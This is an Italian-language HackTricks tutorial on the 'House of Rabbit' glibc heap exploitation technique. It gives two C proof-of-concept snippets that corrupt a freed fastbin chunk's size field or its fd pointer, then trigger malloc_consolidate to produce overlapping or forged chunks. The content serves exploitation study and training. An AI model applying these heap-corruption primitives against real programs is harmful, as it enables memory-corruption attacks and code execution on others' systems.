hacktricks/binary-exploitation/libc-heap/house-of-rabbit.md

Casa del Coniglio

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

• Se vuoi vedere la tua azienda pubblicizzata in HackTricks o scaricare HackTricks in PDF Controlla i PIANI DI ABBONAMENTO!
• Ottieni il merchandising ufficiale di PEASS & HackTricks
• Scopri La Famiglia PEASS, la nostra collezione di NFT esclusivi
• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
• Condividi i tuoi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repository di Github.

Requisiti

1. Capacità di Modificare il Puntatore fd o la Dimensione del Fastbin: Questo significa che puoi cambiare il puntatore in avanti di un chunk nel fastbin o la sua dimensione.
2. Capacità di Attivare malloc_consolidate: Questo può essere fatto allocando un chunk grande o unendo il chunk superiore, il che costringe l'heap a consolidare i chunk.

Obiettivi

1. Creare Chunk Sovrapposti: Per far sì che un chunk si sovrapponga con un altro, consentendo ulteriori manipolazioni dell'heap.
2. Forgiare Chunk Falsi: Per ingannare l'allocatore facendo trattare un chunk falso come un chunk legittimo durante le operazioni sull'heap.

Passaggi dell'Attacco

POC 1: Modificare la Dimensione di un Chunk Fastbin

Obiettivo: Creare un chunk sovrapposto manipolando la dimensione di un chunk fastbin.

• Passo 1: Allocare Chunk

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

• Passo 2: Liberare i Chunk

free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

• Passo 3: Modifica della Dimensione del Chunk

chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

• Passo 4: Attivare malloc_consolidate

malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Allocare un grosso chunk attiva la funzione malloc_consolidate, unendo i chunk piccoli nel fastbin. La dimensione manipolata di chunk1 fa sì che si sovrapponga a chunk2.

Dopo la consolidazione, chunk1 si sovrappone a chunk2, consentendo ulteriori sfruttamenti.

POC 2: Modificare il Puntatore FD

Obiettivo: Creare un chunk falso manipolando il puntatore fd del fastbin.

• Passo 1: Allocare i Chunk

unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Spiegazione: Allociamo due chunk, uno più piccolo e uno più grande, per impostare l'heap per il chunk falso.

• Passo 2: Creare un Chunk Falso

chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

• Passo 3: Liberare il Chunk1

free(chunk1);  // Frees the chunk at 0x602000

Spiegazione: Liberiamo chunk1, aggiungendolo alla lista fastbin.

• Passo 4: Modifica FD di Chunk1

chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Spiegazione: Cambiamo il puntatore in avanti (fd) di chunk1 in modo che punti al nostro chunk falso all'interno di chunk2.

• Passo 5: Attivare malloc_consolidate

malloc(5000);  // Allocate a large chunk to trigger heap consolidation

L'allocazione di un grosso blocco attiva nuovamente malloc_consolidate, che elabora il blocco falso.

Il blocco falso diventa parte della lista fastbin, rendendolo un blocco legittimo per ulteriori sfruttamenti.

Riassunto

La tecnica della House of Rabbit coinvolge la modifica della dimensione di un blocco fastbin per creare blocchi sovrapposti o la manipolazione del puntatore fd per creare blocchi falsi. Ciò consente agli attaccanti di forgiare blocchi legittimi nell'heap, consentendo vari tipi di sfruttamento. Comprendere e mettere in pratica questi passaggi migliorerà le tue abilità di sfruttamento dell'heap.